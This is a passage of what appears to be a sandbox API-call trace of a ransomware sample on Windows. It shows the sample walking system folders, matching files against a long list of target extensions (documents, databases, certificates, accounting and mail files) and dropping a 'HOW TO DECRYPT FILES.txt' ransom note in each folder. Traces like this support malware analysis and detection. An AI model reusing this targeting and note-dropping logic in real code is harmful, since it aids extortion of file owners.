(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.jpeg") returned 0 [0119.611] lstrlenA (lpString="*.jpeg") returned 6 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.jpg") returned 0 [0119.611] lstrlenA (lpString="*.jpg") returned 5 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.png") returned 0 [0119.611] lstrlenA (lpString="*.png") returned 5 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.php") returned 0 [0119.611] lstrlenA (lpString="*.php") returned 5 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.cs") returned 0 [0119.611] lstrlenA (lpString="*.cs") returned 4 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.cpp") returned 0 [0119.611] lstrlenA (lpString="*.cpp") returned 5 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.rar") returned 0 [0119.611] lstrlenA (lpString="*.rar") returned 5 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.zip") returned 0 [0119.611] lstrlenA (lpString="*.zip") returned 5 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.html") returned 0 [0119.611] lstrlenA (lpString="*.html") returned 6 [0119.611] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.htm") returned 0 [0119.612] lstrlenA (lpString="*.htm") returned 5 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.xlsx") returned 0 [0119.612] lstrlenA (lpString="*.xlsx") returned 6 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.xls") returned 0 [0119.612] lstrlenA (lpString="*.xls") returned 5 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.mp4") returned 0 [0119.612] lstrlenA (lpString="*.mp4") returned 5 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.ppt") returned 0 [0119.612] lstrlenA (lpString="*.ppt") returned 5 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.pptx") returned 0 [0119.612] lstrlenA (lpString="*.pptx") returned 6 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.doc") returned 0 [0119.612] lstrlenA (lpString="*.doc") returned 5 [0119.612] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.dot") returned 0 [0119.613] lstrlenA (lpString="*.dot") returned 5 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.docx") returned 0 [0119.613] lstrlenA (lpString="*.docx") returned 6 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.7z") returned 0 [0119.613] lstrlenA (lpString="*.7z") returned 4 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.tar") returned 0 [0119.613] lstrlenA (lpString="*.tar") returned 5 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.bz2") returned 0 [0119.613] lstrlenA (lpString="*.bz2") returned 5 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.gz") returned 0 [0119.613] lstrlenA (lpString="*.gz") returned 4 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.mkv") returned 0 [0119.613] lstrlenA (lpString="*.mkv") returned 5 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.eml") returned 0 [0119.613] lstrlenA (lpString="*.eml") returned 5 [0119.613] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.msg") returned 0 [0119.614] lstrlenA (lpString="*.msg") returned 5 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.edb") returned 0 [0119.614] lstrlenA (lpString="*.edb") returned 5 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.accdb") returned 0 [0119.614] lstrlenA (lpString="*.accdb") returned 7 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.odb") returned 0 [0119.614] lstrlenA (lpString="*.odb") returned 5 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.java") returned 0 [0119.614] lstrlenA (lpString="*.java") returned 6 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.asm") returned 0 [0119.614] lstrlenA (lpString="*.asm") returned 5 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.pfx") returned 0 [0119.614] lstrlenA (lpString="*.pfx") returned 5 [0119.614] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.pem") returned 0 [0119.615] lstrlenA (lpString="*.pem") returned 5 [0119.615] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll", pszSpec="*.p12") returned 0 [0119.615] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.615] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.615] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Log.ni.dll.aux") returned -1 [0119.615] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Log.ni.dll.aux") returned -1 [0119.616] lstrcmpiA (lpString1="", lpString2="System.IO.Log.ni.dll.aux") returned -1 [0119.617] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll") returned="System.IO.Log.ni.dll" [0119.617] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\" [0119.617] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\") returned="" [0119.617] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt" [0119.617] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.log\\78add813cd7beaa6db93eb252847a787\\how to decrypt files.txt")) returned 0x20 [0119.617] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\", lpString2="System.IO.Log.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll.aux" [0119.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Log\\78add813cd7beaa6db93eb252847a787\\System.IO.Log.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.618] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.618] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.618] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8a66590, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8a66590, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8a66590, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="78add813cd7beaa6db93eb252847a787", cAlternateFileName="78ADD8~1")) returned 0 [0119.618] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.618] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Manaf08ebffb#", cAlternateFileName="SYSTEM~2.MAN")) returned 1 [0119.618] lstrcmpA (lpString1=".", lpString2="System.Manaf08ebffb#") returned -1 [0119.618] lstrcmpA (lpString1="..", lpString2="System.Manaf08ebffb#") returned -1 [0119.618] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.618] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Manaf08ebffb#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#" [0119.618] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.619] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.619] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.619] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.619] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.619] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4763af5910ce319a27d650ed307915b1", cAlternateFileName="4763AF~1")) returned 1 [0119.619] lstrcmpA (lpString1=".", lpString2="4763af5910ce319a27d650ed307915b1") returned -1 [0119.619] lstrcmpA (lpString1="..", lpString2="4763af5910ce319a27d650ed307915b1") returned -1 [0119.619] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\*.*") returned="*.*" [0119.620] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\", lpString2="4763af5910ce319a27d650ed307915b1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1" [0119.620] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.629] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.629] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.629] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.629] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.629] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x75c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.629] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.629] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0119.629] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0119.629] lstrcmpiA (lpString1="", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0119.629] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\*.*") returned="*.*" [0119.629] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\" [0119.629] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\") returned="" [0119.629] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt" [0119.630] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\how to decrypt files.txt")) returned 0xffffffff [0119.630] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.638] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.638] CloseHandle (hObject=0x90) returned 1 [0119.638] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\", lpString2="System.Management.Instrumentation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll" [0119.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.ems") returned 0 [0119.638] lstrlenA (lpString="*.ems") returned 5 [0119.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.db") returned 0 [0119.638] lstrlenA (lpString="*.db") returned 4 [0119.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.dbf") returned 0 [0119.639] lstrlenA (lpString="*.dbf") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.myox") returned 0 [0119.639] lstrlenA (lpString="*.myox") returned 6 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.myo") returned 0 [0119.639] lstrlenA (lpString="*.myo") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qbw") returned 0 [0119.639] lstrlenA (lpString="*.qbw") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qbb") returned 0 [0119.639] lstrlenA (lpString="*.qbb") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qbm") returned 0 [0119.639] lstrlenA (lpString="*.qbm") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qbo") returned 0 [0119.639] lstrlenA (lpString="*.qbo") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qbx") returned 0 [0119.639] lstrlenA (lpString="*.qbx") returned 5 [0119.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qba") returned 0 [0119.639] lstrlenA (lpString="*.qba") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qby") returned 0 [0119.640] lstrlenA (lpString="*.qby") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qbj") returned 0 [0119.640] lstrlenA (lpString="*.qbj") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.ofx") returned 0 [0119.640] lstrlenA (lpString="*.ofx") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.qif") returned 0 [0119.640] lstrlenA (lpString="*.qif") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mye") returned 0 [0119.640] lstrlenA (lpString="*.mye") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mbox") returned 0 